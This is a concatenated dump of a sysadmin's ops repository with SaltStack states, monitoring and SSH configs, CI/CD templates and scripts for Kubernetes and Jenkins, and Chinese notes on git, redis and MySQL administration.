$HOST 19 | SERVICE: $SERVICE 20 | Description: $DESCRIPTION 21 | 22 | Your faithful employee, 23 | monit 24 | } 25 | 26 | # mail recipients 27 | set alert 625166273@qq.com 28 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/monit/salt-minion.conf: -------------------------------------------------------------------------------- 1 | check process salt-minion with pidfile /var/run/salt-minion.pid 2 | start program = "/etc/init.d/salt-minion start" 3 | stop program = "/etc/init.d/salt-minion stop" 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/monit/zabbix-agent.conf: -------------------------------------------------------------------------------- 1 | check process zabbix-agentd with pidfile /var/run/zabbix/zabbix_agentd.pid 2 | start program = "/etc/init.d/zabbix-agent start" 3 | stop program = "/etc/init.d/zabbix-agent stop" 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/ops/bin/pw: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # 2015/8/14 4 | 5 | import os 6 | import sys 7 | 8 | def gen_pw(): 9 | # yum -y install python-pip 10 | # pip install pwgen 11 | p = os.popen('/usr/bin/pwgen -1 -B -n 10') 12 | p = p.read().strip('\n') 13 | p = p[:5].upper() + p[5:].lower() 14 | return p 15 | 16 | def print_msg(): 17 | p1 = gen_pw() 18 | p2 = gen_pw() 19 | #msg = 'root:{0} root1:{1}'.format(p1,p2) 20 | msg = '{0} {1}'.format(p1,p2) 21 | print msg 22 | if __name__ == '__main__': 23 | print_msg() 24 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/resolv/client.conf: -------------------------------------------------------------------------------- 1 | ## generated by saltstack 2 | # DNS Server for test use only 3 | nameserver 192.168.56.254 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/resolv/server.conf: -------------------------------------------------------------------------------- 1 | ## generated by saltstack 2 | # DNS Server for office LAN 3 | nameserver 127.0.0.1 4 | nameserver 192.168.2.203 5 | nameserver 192.168.2.204 6 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/ssh/sshd_config: -------------------------------------------------------------------------------- 1 | Port 22 2 | Protocol 2 3 | SyslogFacility AUTHPRIV 4 | #PasswordAuthentication no 5 | #PermitRootLogin no 6 | ChallengeResponseAuthentication no 7 | GSSAPIAuthentication no 8 | GSSAPICleanupCredentials no 9 | UsePAM yes 10 | AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES 11 | AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT 12 | AcceptEnv LC_IDENTIFICATION LC_ALL LANGUAGE 13 | AcceptEnv XMODIFIERS 14 | X11Forwarding yes 15 | UseDNS no 16 | Subsystem sftp /usr/libexec/openssh/sftp-server 17 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/systemtuning/modprobe-dist.conf: -------------------------------------------------------------------------------- 1 | 2 | ## user define 3 | alias net-pf-10 off 4 | alias ipv6 off 5 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/systemtuning/my-limits.conf: -------------------------------------------------------------------------------- 1 | 2 | ## user define 3 | * soft nofile 65535 4 | * hard nofile 65535 5 | * soft nproc unlimited 6 | * hard nproc unlimited 7 | * soft core unlimited 8 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/systemtuning/rc-local.conf: -------------------------------------------------------------------------------- 1 | 2 | ## user define 3 | ulimit -SHn 65535 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/systemtuning/sysctl.conf: -------------------------------------------------------------------------------- 1 | 2 | ## user define 3 | fs.file-max = 51200 4 | 5 | net.core.rmem_max = 8388608 6 | net.core.wmem_max = 8388608 7 | net.core.rmem_default = 65536 8 | net.core.wmem_default = 65536 9 | net.core.netdev_max_backlog = 250000 10 | net.core.somaxconn = 4096 11 | 12 | net.ipv4.ip_local_port_range = 10000 65000 13 | net.ipv4.tcp_syncookies = 1 14 | net.ipv4.tcp_tw_reuse = 1 15 | net.ipv4.tcp_tw_recycle = 0 16 | net.ipv4.tcp_fin_timeout = 30 17 | net.ipv4.tcp_keepalive_time = 1200 18 | 19 | net.ipv4.tcp_max_syn_backlog = 8192 20 | net.ipv4.tcp_max_tw_buckets = 5000 21 | net.ipv4.tcp_rmem = 4096 87380 8388608 22 | net.ipv4.tcp_wmem = 4096 65536 8388608 23 | net.ipv4.tcp_mem = 8388608 8388608 8388608 24 | 25 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/zabbix/README.txt: -------------------------------------------------------------------------------- 1 | # 简化配置文件: 2 | grep ^[^#] tpl.zabbix_agentd.conf >zabbix_agentd.conf 3 | grep ^[^#] tpl.zabbix_server.conf >zabbix_server.conf 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/zabbix/zabbix_agentd.conf: -------------------------------------------------------------------------------- 1 | PidFile=/var/run/zabbix/zabbix_agentd.pid 2 | LogFile=/var/log/zabbix/zabbix_agentd.log 3 | LogFileSize=5 4 | Server=zbx-m.office.test 5 | ListenIP={{ grains['ip_interfaces']['eth0'][0] }} 6 | ServerActive=zbx-m.office.test 7 | Hostname={{ grains['id'] }} 8 | Include=/etc/zabbix/zabbix_agentd.d/ 9 | UnsafeUserParameters=1 10 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/zabbix/zabbix_agentd.d/userparameter_nginx.conf: -------------------------------------------------------------------------------- 1 | UserParameter=nginx.accepts,/etc/zabbix/scripts/nginx_status accepts 2 | UserParameter=nginx.handled,/etc/zabbix/scripts/nginx_status handled 3 | UserParameter=nginx.requests,/etc/zabbix/scripts/nginx_status requests 4 | UserParameter=nginx.connections.active,/etc/zabbix/scripts/nginx_status active 5 | UserParameter=nginx.connections.reading,/etc/zabbix/scripts/nginx_status reading 6 | UserParameter=nginx.connections.writing,/etc/zabbix/scripts/nginx_status writing 7 | UserParameter=nginx.connections.waiting,/etc/zabbix/scripts/nginx_status waiting 8 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/conf.d/zabbix/zabbix_server.conf: -------------------------------------------------------------------------------- 1 | LogFile=/var/log/zabbix/zabbix_server.log 2 | LogFileSize=10 3 | PidFile=/var/run/zabbix/zabbix_server.pid 4 | DBHost=localhost 5 | DBName=zabbix 6 | DBUser=zabbix 7 | DBPassword=zabbix 8 | DBSocket=/data/mysql/mysql.sock 9 | DBPort=3306 10 | SNMPTrapperFile=/var/log/snmptt/snmptt.log 11 | AlertScriptsPath=/usr/lib/zabbix/alertscripts 12 | ExternalScripts=/usr/lib/zabbix/externalscripts 13 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/crontab/init.sls: -------------------------------------------------------------------------------- 1 | ## 使用cron.present这个方法来控制,默认是追加到现有的crontab中 2 | crontab-REPO-UPDATE: 3 | cron.present: 4 | - identifier: CRON-REPO-UPDATE 5 | - name: '/bin/bash /data/ops/bin/repo_update.sh >/tmp/repo_update.log 2>&1 &' 6 | - user: root 7 | - minute: '0' 8 | - hour: '12' 9 | - daymonth: '*' 10 | - month: '*' 11 | - dayweek: '*' 12 | 13 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/dell/init.sls: -------------------------------------------------------------------------------- 1 | {% if grains['virtual'] == 'physical' or (grains['virtual'] == 'xen' and grains['virtual_subtype'] == 'Xen Dom0') %} 2 | dellpkgs: 3 | pkg.installed: 4 | - pkgs: 5 | - srvadmin-all 6 | - refresh: True 7 | 8 | /usr/bin/omreport: 9 | file.symlink: 10 | - target: /opt/dell/srvadmin/sbin/omreport 11 | - require: 12 | - pkg: dellpkgs 13 | 14 | /usr/bin/omconfig: 15 | file.symlink: 16 | - target: /opt/dell/srvadmin/sbin/omconfig 17 | - require: 18 | - pkg: dellpkgs 19 | 20 | {% for ss in 'dataeng','instsvcdrv' %} 21 | {{ ss }}: 22 | service: 23 | - running 24 | - enable: True 25 | - watch: 26 | - pkg: dellpkgs 27 | {% endfor %} 28 | 29 | sblim-sfcb: 30 | service.dead: 31 | - enable: False 32 | 33 | {% endif %} 34 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/dnsmasq/init.sls: -------------------------------------------------------------------------------- 1 | dnsmasq: 2 | pkg.installed: [] 3 | service.running: 4 | - enable: True 5 | - restart: True 6 | - watch: 7 | - file: /etc/dnsmasq.d/office.conf 8 | - file: /etc/dnsmasq.conf 9 | 10 | /etc/dnsmasq.d/office.conf: 11 | file.managed: 12 | - source: salt://conf.d/dnsmasq/office.conf 13 | 14 | /etc/dnsmasq.conf: 15 | file.replace: 16 | - pattern: '#addn-hosts=/etc/banner_add_hosts' 17 | - repl: 'addn-hosts=/etc/dnsmasq.d/office.conf' 18 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/monit/init.sls: -------------------------------------------------------------------------------- 1 | monit: 2 | pkg.installed: 3 | ## for local-office.repo 4 | # 5 | - fromrepo: office 6 | - name: monit 7 | - skip_verify: True 8 | - refresh: True 9 | - version: 5.14-1.el6 10 | 11 | service.running: 12 | - enable: True 13 | 14 | /etc/monit.d/monit-mail.conf: 15 | file.managed: 16 | - source: salt://conf.d/monit/monit-mail.conf 17 | - require: 18 | - pkg: monit 19 | 20 | /etc/monit.d/salt-minion.conf: 21 | file.absent 22 | # file.managed: 23 | # - source: salt://conf.d/monit/salt-minion.conf 24 | # - require: 25 | # - pkg: monit 26 | 27 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/mysql/client.sls: -------------------------------------------------------------------------------- 1 | ## 安装mysql-client 2 | # 3 | # via pc @ 2015/8/11 4 | 5 | Percona-Client: 6 | pkg.installed: 7 | - pkgs: 8 | - Percona-Server-client-55 9 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/ops/bin.sls: -------------------------------------------------------------------------------- 1 | 2 | ## 此处列出需要的软件包 3 | # 4 | python-pip: 5 | pkg.installed: 6 | - name: python-pip 7 | - require_in: 8 | -file: pip-pkgs 9 | 10 | pip-pkgs: 11 | pip.installed: 12 | - names: 13 | - virtualenvwrapper 14 | - pwgen 15 | 16 | /usr/bin/sendEmail: 17 | file.managed: 18 | - source: salt://conf.d/ops/bin/sendEmail 19 | - mode: 755 20 | 21 | /usr/bin/pw: 22 | file.managed: 23 | - source: salt://conf.d/ops/bin/pw 24 | - mode: 755 25 | 26 | /usr/bin/randchars: 27 | file.managed: 28 | - source: salt://conf.d/ops/bin/randchars.py 29 | - mode: 755 30 | 31 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/postfix/init.sls: -------------------------------------------------------------------------------- 1 | postfix: 2 | pkg.installed: [] 3 | service.disabled: [] 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/salt/minion.sls: -------------------------------------------------------------------------------- 1 | salt-minion: 2 | pkg.installed: [] 3 | service.running: 4 | - enable: True 5 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/ssh/init.sls: -------------------------------------------------------------------------------- 1 | openssh-clients: 2 | pkg.installed: [] 3 | 4 | openssh-server: 5 | pkg.installed: [] 6 | 7 | sshd: 8 | service.running: 9 | - enable: True 10 | - require: 11 | - pkg: openssh-clients 12 | - pkg: openssh-server 13 | - file: /etc/ssh/sshd_config 14 | 15 | /etc/ssh/sshd_config: 16 | file.managed: 17 | - source: salt://conf.d/ssh/sshd_config 18 | - require: 19 | - pkg: openssh-server 20 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/top.sls: -------------------------------------------------------------------------------- 1 | base: 2 | 'tvm-yum': 3 | - dnsmasq 4 | - crontab 5 | - web 6 | 'tvm-zabbix': 7 | - mysql.server 8 | - zabbix.server 9 | - zabbix.web 10 | 11 | '*': 12 | - abc 13 | - monit 14 | - postfix 15 | - salt.minion 16 | - ssh 17 | - vim 18 | - zabbix.agent 19 | #- ops.bin 20 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/vim/init.sls: -------------------------------------------------------------------------------- 1 | vim: 2 | pkg.installed: 3 | - name: {{ pillar['pkgs']['vim'] }} 4 | 5 | /root/.vimrc: 6 | file.managed: 7 | - source: salt://conf.d/vim/vimrc 8 | - require: 9 | - pkg: vim 10 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/web/init.sls: -------------------------------------------------------------------------------- 1 | apache: 2 | pkg.installed: 3 | - name: {{ pillar['pkgs']['apache'] }} 4 | service.running: 5 | - name: {{ pillar['pkgs']['apache'] }} 6 | - enable: True 7 | - require: 8 | - pkg: apache 9 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/base/web/test.sls: -------------------------------------------------------------------------------- 1 | /tmp/sysctl.conf: 2 | file: 3 | - append 4 | - source: salt://conf.d/systemtuning/sysctl.conf 5 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/dev/top.sls: -------------------------------------------------------------------------------- 1 | dev: 2 | 'tvm-mysql': 3 | - web 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/dev/web.sls: -------------------------------------------------------------------------------- 1 | nginx: 2 | pkg: 3 | - installed 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/prod/top.sls: -------------------------------------------------------------------------------- 1 | prod: 2 | 'tvm-cobbler': 3 | - web 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/prod/web.sls: -------------------------------------------------------------------------------- 1 | httpd: 2 | pkg: 3 | - installed 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/qa/conf.d/crontab/client.conf: -------------------------------------------------------------------------------- 1 | # Lines below here are managed by Salt, do not edit 2 | # SALT_CRON_IDENTIFIER:CRON-NTPDATE 3 | */20 * * * * /usr/sbin/ntpdate ntp.office.test >/dev/null 2>&1 & 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/qa/crontab/init.sls: -------------------------------------------------------------------------------- 1 | ## 使用cron.file这个方法来控制,可以替换全部的crontab内容 2 | cron-ntpdate-office: 3 | cron.file: 4 | - name: salt://conf.d/crontab/client.conf 5 | -------------------------------------------------------------------------------- /AUTO/saltStack/conf/srv/salt/qa/top.sls: -------------------------------------------------------------------------------- 1 | qa: 2 | '* and not tvm-yum': 3 | - crontab 4 | -------------------------------------------------------------------------------- /AUTO/saltStack/安装salt-minion.txt: -------------------------------------------------------------------------------- 1 | 安装salt-minion 2 | 3 | 新增minion: 4 | 【svr205-2】 5 | [root@svr205-2 ~]# yum install salt-minion -y 6 | [root@svr205-2 ~]# vim /etc/salt/minion 7 | master: 10.0.200.21 8 | id: svr205-2 9 | 10 | 或则,使用脚本来更改配置: 11 | 12 | [root@svr205-2 ~]# cat saltstack-install-minion.sh 13 | #!/bin/bash 14 | # 15 | # 2015/4/21 16 | 17 | salt_m=salt-m.office.test 18 | yum install salt-minion -y 19 | 20 | cp -a /etc/salt/minion /etc/salt/minion.bak 21 | cat <<_EOF >/etc/salt/minion 22 | master: ${salt_m} 23 | id: $(hostname) 24 | 25 | _EOF 26 | 27 | service salt-minion start 28 | cat /etc/salt/minion 29 | 30 | 31 | -------------------------------------------------------------------------------- /CICD/confd/confd-exp/conf.d/rollout.toml: -------------------------------------------------------------------------------- 1 | [template] 2 | prefix = "/cicd/rollout" 3 | src = "rollout.tmpl" 4 | dest = "/data/server/k8s-deploy/reload/rollout.cmd" 5 | owner = "root" 6 | mode = "0644" 7 | keys = [ 8 | "/trigger", 9 | ] 10 | reload_cmd = "cd /data/server/k8s-deploy && /bin/bash bin/confd-reload-cmd.sh reload/rollout.cmd" 11 | -------------------------------------------------------------------------------- /CICD/confd/confd-exp/conf.d/undo.toml: -------------------------------------------------------------------------------- 1 | [template] 2 | prefix = "/cicd/undo" 3 | src = "undo.tmpl" 4 | dest = "/data/server/k8s-deploy/reload/undo.cmd" 5 | owner = "root" 6 | mode = "0644" 7 | keys = [ 8 | "/trigger", 9 | ] 10 | reload_cmd = "cd /data/server/k8s-deploy && /bin/bash bin/confd-reload-cmd.sh reload/undo.cmd" 11 | -------------------------------------------------------------------------------- /CICD/confd/confd-exp/templates/rollout.tmpl: -------------------------------------------------------------------------------- 1 | ### key=/cicd/rollout/trigger 2 | {{if exists "/trigger"}} 3 | {{$data := json (getv "/trigger")}} 4 | ### ------ input exp: 5 | # action: {{$data.action}} 6 | # k8sNamespace: {{$data.k8sNamespace}} 7 | # appName: {{$data.appName}} 8 | # svcName: {{$data.svcName}} 9 | # imageTag: {{$data.imageTag}} 10 | ### ------ output exp: k8s cmd 11 | # kubectl -n {{$data.k8sNamespace}} set image deployments/{{$data.appName}}-{{$data.svcName}} {{$data.svcName}}=registry.cn-hangzhou.aliyuncs.com/ns-demo/{{$data.appName}}-{{$data.svcName}}:{{$data.imageTag}} 12 | 13 | {{end}} 14 | -------------------------------------------------------------------------------- /CICD/confd/confd-exp/templates/undo.tmpl: -------------------------------------------------------------------------------- 1 | ### key=/cicd/undo/trigger 2 | {{if exists "/trigger"}} 3 | {{$data := json (getv "/trigger")}} 4 | ### ------ input exp: 5 | # action: {{$data.action}} 6 | # k8sNamespace: {{$data.k8sNamespace}} 7 | # appName: {{$data.appName}} 8 | # svcName: {{$data.svcName}} 9 | # imageTag: {{$data.imageTag}} 10 | ### ------ output exp: k8s cmd 11 | # kubectl -n {{$data.k8sNamespace}} rollout history deployments/{{$data.appName}}-{{$data.svcName}} 12 | # kubectl -n {{$data.k8sNamespace}} rollout undo deployments/{{$data.appName}}-{{$data.svcName}} 13 | # kubectl -n {{$data.k8sNamespace}} rollout history deployments/{{$data.appName}}-{{$data.svcName}} 14 | 15 | {{end}} 16 | -------------------------------------------------------------------------------- /CICD/git/git 在命令行下的使用帮助.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/CICD/git/git 在命令行下的使用帮助.docx -------------------------------------------------------------------------------- /CICD/git/git_xmind.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/CICD/git/git_xmind.png -------------------------------------------------------------------------------- /CICD/git/git升级版本.txt: -------------------------------------------------------------------------------- 1 | git升级版本 2 | 2016/12/23 3 | 4 | centos6 的默认git的版本是1.7,现在都2.11了,肯定是跟不上时代的,现在有需求,要新的版本,咋办? 5 | 一句话,源码编译安装即可。 6 | 7 | 看说明文档,编译时,缺少啥组件就安装即可。 8 | 实在不知道的,往下看。 9 | 10 | # git clone https://github.com/git/git 11 | # cd git/ 12 | # vim INSTALL 13 | # yum -y groupinstall "Development Tools" 14 | # yum install expat-devel asciidoc xmlto docbook2X 15 | # ln -s /usr/bin/db2x_docbook2texi /usr/bin/docbook2x-texi 16 | # make prefix=/usr install install-doc install-html install-info 17 | # git --version 18 | git version 2.11.0.193.g1d1bdafd6 19 | 20 | -------------------------------------------------------------------------------- /CICD/git/git服务搭建和在Windows下的使用帮助.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/CICD/git/git服务搭建和在Windows下的使用帮助.docx -------------------------------------------------------------------------------- /CICD/jenkins/pipeline-jenkinsfile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/CICD/jenkins/pipeline-jenkinsfile.png -------------------------------------------------------------------------------- /CICD/jenkins/sample/pipeline/k8s/ci/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | APP_PARENT="demoproject" 4 | cd /data/server/jenkins_worker/cicd/${APP_PARENT} 5 | grep "^[^#]" svc.list |awk -F',' '{print $1" "$2}' >.svc 6 | 7 | while read svc_name svc_port 8 | do 9 | [ -d "tpl.docker.d/${svc_name}" ] && continue 10 | echo "[+] CI init ${svc_name} ${svc_port}" 11 | mkdir -pv "tpl.docker.d/${svc_name}" 12 | cat <<_EOF > "tpl.docker.d/${svc_name}/Dockerfile" 13 | FROM ns-demo/image-base-demo:v0.1 14 | 15 | COPY ${svc_name} . 16 | EXPOSE ${svc_port} 17 | ENTRYPOINT ["./${svc_name}"] 18 | _EOF 19 | 20 | done < .svc 21 | -------------------------------------------------------------------------------- /CICD/jenkins/sample/pipeline/k8s/ci/svc.list: -------------------------------------------------------------------------------- 1 | ##### svc,port,env-dev,env-test,env-prod 2 | svc1,80,5001,5001,5001 3 | svc2,80,5002,5002,5002 4 | -------------------------------------------------------------------------------- /CICD/jenkins/sample/pipeline/k8s/ci/tpl.docker.d/svc1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ns-demo/image-base-demo:v0.1 2 | 3 | COPY svc1 . 4 | EXPOSE 80 5 | ENTRYPOINT ["./svc1"] 6 | -------------------------------------------------------------------------------- /CICD/jenkins/sample/pipeline/swarm/cd/demo/demoproject/init-svc-dev: -------------------------------------------------------------------------------- 1 | # env=dev 2 | # app_name src_port dest_port 3 | svc1 80 5001 4 | svc2 80 5002 5 | -------------------------------------------------------------------------------- /CICD/jenkins/sample/pipeline/swarm/ci/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | app_name="demoproject" 4 | cd /data/server/jenkins_worker/cicd/${app_name} 5 | grep "^[^#]" svc.list |awk -F',' '{print $1" "$2}' >.svc 6 | 7 | while read svc_name svc_port 8 | do 9 | [ -f "tpl.docker.d/${svc_name}/Dockerfile" ] && continue 10 | echo "[+] CI init ${svc_name} ${svc_port}" 11 | mkdir -pv "tpl.docker.d/${svc_name}" 12 | cat <<_EOF > "tpl.docker.d/${svc_name}/Dockerfile" 13 | FROM ns-demo/image-base-demo:v0.1 14 | 15 | ENV D_APP_BIN '/data/server/${app_name}/' 16 | 17 | COPY ${svc_name} \${D_APP_BIN} 18 | 19 | RUN mkdir -p \${D_APP_BIN}/logs 20 | WORKDIR \${D_APP_BIN} 21 | 22 | EXPOSE ${svc_port} 23 | ENTRYPOINT ["./${svc_name}"] 24 | 25 | _EOF 26 | 27 | done < .svc 28 | -------------------------------------------------------------------------------- /CICD/jenkins/sample/pipeline/swarm/ci/svc.list: -------------------------------------------------------------------------------- 1 | ##### svc,port,env-dev,env-test,env-prod 2 | svc1,80,5001,5001,5001 3 | svc2,80,5002,5002,5002 4 | -------------------------------------------------------------------------------- /CICD/jenkins/sample/pipeline/swarm/ci/tpl.docker.d/svc1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ns-demo/image-base-demo:v0.1 2 | 3 | COPY svc1 . 4 | EXPOSE 80 5 | ENTRYPOINT ["./svc1"] 6 | -------------------------------------------------------------------------------- /CICD/notify/mailman_sendEmail.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # 2015/11/11 4 | 5 | /usr/bin/sendEmail -o message-charset="UTF-8" \ 6 | -s smtp.company.com \ 7 | -xu test@company.com \ 8 | -xp xxx \ 9 | -f test@company.com \ 10 | -t "$1" \ 11 | -u "$2" \ 12 | -m "$3" 13 | 14 | -------------------------------------------------------------------------------- /CICD/realworld-pipeline-flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/CICD/realworld-pipeline-flow.png -------------------------------------------------------------------------------- /CICD/svn/svn.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/CICD/svn/svn.txt -------------------------------------------------------------------------------- /CICD/svn/svn管理.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/CICD/svn/svn管理.txt -------------------------------------------------------------------------------- /IAAS/DB/kvstore/redis/redis-在docker中运行.md: -------------------------------------------------------------------------------- 1 | # redis-在docker中运行 2 | 2018/11/23 3 | 4 | 5 | 6 | ### 部署 7 | ```bash 8 | ~]# mkdir -p /data/server/redis 9 | ~]# cd /data/server/redis 10 | 11 | redis]# cat dev.sh 12 | #!/bin/bash 13 | # 14 | 15 | d_data_root='/data/server/redis' 16 | f_prefix='redis' 17 | f_ns='dev' 18 | f_port='6379' 19 | 20 | cd ${d_data_root} 21 | mkdir -pv ${f_ns} 22 | docker run -d --restart=always \ 23 | --name "${f_prefix}-${f_ns}" \ 24 | -p ${f_port}:6379 \ 25 | -v /etc/localtime:/etc/localtime \ 26 | -v "${d_data_root}/${f_ns}":/data \ 27 | redis 28 | 29 | docker ps -f name="${f_prefix}-${f_ns}" 30 | 31 | # test 32 | docker run -it --link "${f_prefix}-${f_ns}":redis --rm redis redis-cli -h redis -p 6379 33 | 34 | ``` 35 | -------------------------------------------------------------------------------- /IAAS/DB/mysql/PerconaServerUpgrade.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/DB/mysql/PerconaServerUpgrade.txt -------------------------------------------------------------------------------- /IAAS/DB/mysql/mysql5.7导出用户信息.md: -------------------------------------------------------------------------------- 1 | # mysql5.7导出用户信息 2 | 2018/11/8 3 | 4 | ### 脚本 5 | ```bash 6 | # cat u.sh 7 | pwd=password 8 | 9 | mysql -B -u'root' -p${pwd} -N -P3306 $@ -e "SELECT CONCAT('SHOW CREATE USER ''', user, '''@''', host, ''';') AS query FROM mysql.user" | \ 10 | mysql -u'root' -p${pwd} -P3306 -f $@ | \ 11 | sed 's#$#;#g;s/^\(CREATE USER for .*\)/-- \1 /;/--/{x;p;x;}' 12 | 13 | mysql -B -u'root' -p${pwd} -N -P3306 $@ -e "SELECT CONCAT('SHOW GRANTS FOR ''', user, '''@''', host, ''';') AS query FROM mysql.user" | \ 14 | mysql -u'root' -p${pwd} -P3306 -f $@ | \ 15 | sed 's/\(GRANT .*\)/\1;/;s/^\(Grants for .*\)/-- \1 /;/--/{x;p;x;}' 16 | 17 | 18 | # sh u.sh >u.sql 19 | 20 | ``` 21 | 22 | 23 | 24 | ### ZYXW、参考 25 | 1. [mysql 5.6 5.7 导出用户授权信息](https://blog.csdn.net/u011665746/article/details/79067656) 26 | -------------------------------------------------------------------------------- /IAAS/DB/mysql/mysql_multi.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/DB/mysql/mysql_multi.txt -------------------------------------------------------------------------------- /IAAS/DB/mysql/mysql恢复使用参数innodb_force_recovery.txt: -------------------------------------------------------------------------------- 1 | 默认为0,表示当需要恢复时执行所有的恢复操作(即校验数据页/purge undo/insert buffer merge/rolling back&forward).当不能进行有效的恢复操作时,mysql有可能无法启动,并记录下错误日志. 2 | innodb_force_recovery可以设置为0-6,大的数字包含前面所有数字的影响. 3 | 当设置参数值大于0后,可以对表进行select,create,drop操作,但insert,update或者delete这类操作是不允许的. 4 | 1.(SRV_FORCE_IGNORE_CORRUPT): 忽略检查到的corrupt页. 5 | 2.(SRV_FORCE_NO_BACKGROUND): 阻止主线程的运行,如主线程需要执行full purge操作,会导致crash. 6 | 3.(SRV_FORCE_NO_TRX_UNDO): 不执行事务回滚操作. 7 | 4.(SRV_FORCE_NO_IBUF_MERGE): 不执行插入缓冲的合并操作. 8 | 5.(SRV_FORCE_NO_UNDO_LOG_SCAN): 不查看重做日志,InnoDB存储引擎会将未提交的事务视为已提交. 9 | 6.(SRV_FORCE_NO_LOG_REDO): 不执行前滚的操作. -------------------------------------------------------------------------------- /IAAS/DB/mysql/mysql服务器初始化配置.txt: -------------------------------------------------------------------------------- 1 | 1.关闭numa 2 | /boot/grub/grub.conf 3 | 加入numa=off 4 | 2.io调度算法 5 | echo deadline > /sys/block/sda/queue/scheduler 6 | 3.可以考虑使用XFS文件系统,注意预留空间设置。 7 | 4.阵列卡WB策略,禁用磁盘自身缓存,注意监控电池。 8 | /opt/MegaCli64 -AdpAllInfo -aALL 查raid卡信息 9 | http://wenku.baidu.com/link?url=u1zFgkHA25V-0xailv4WECDUyiEbPswbhUw2285uIZp5GZlocA31Utq9rZhKkRrKwvEAGhro7buertfPkokSf56tTwHZC3yZ9A_bWo2o06y 10 | MegaCli64 -cfgdsply -aALL | grep "Error" 【正常都是0】。 11 | 5.io 密集,使用多块小容量disk,来提升iops,可以考虑使用ssd,及pcie卡。 12 | 6.sql 审核工具。 13 | http://tencentdba.com/blog/sqlparse/ 14 | -------------------------------------------------------------------------------- /IAAS/DB/mysql/percona-toolkit安装.txt: -------------------------------------------------------------------------------- 1 | # cd /home/download 2 | # wget percona.com/get/percona-toolkit.rpm 3 | # yum -y install perl-DBD-MySQL perl-IO-Socket-SSL 4 | # rpm -ivh percona-toolkit-2.2.11-1.noarch.rpm -------------------------------------------------------------------------------- /IAAS/DB/mysql/从案例说InnoDB的基本优化.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/DB/mysql/从案例说InnoDB的基本优化.docx -------------------------------------------------------------------------------- /IAAS/DNS/配置DNS服务-简易配置dnsmasq来提供服务.txt: -------------------------------------------------------------------------------- 1 | 配置DNS服务-简易配置dnsmasq来提供服务 2 | 3 | 【DNS服务器】 4 | [root@vm220 ~]# yum -y install dnsmasq 5 | [root@vm220 ~]# cat /etc/hosts 6 | 10.50.100.30 e01.test 7 | 10.50.100.72 n72.test 8 | 10.50.100.73 n73.test 9 | 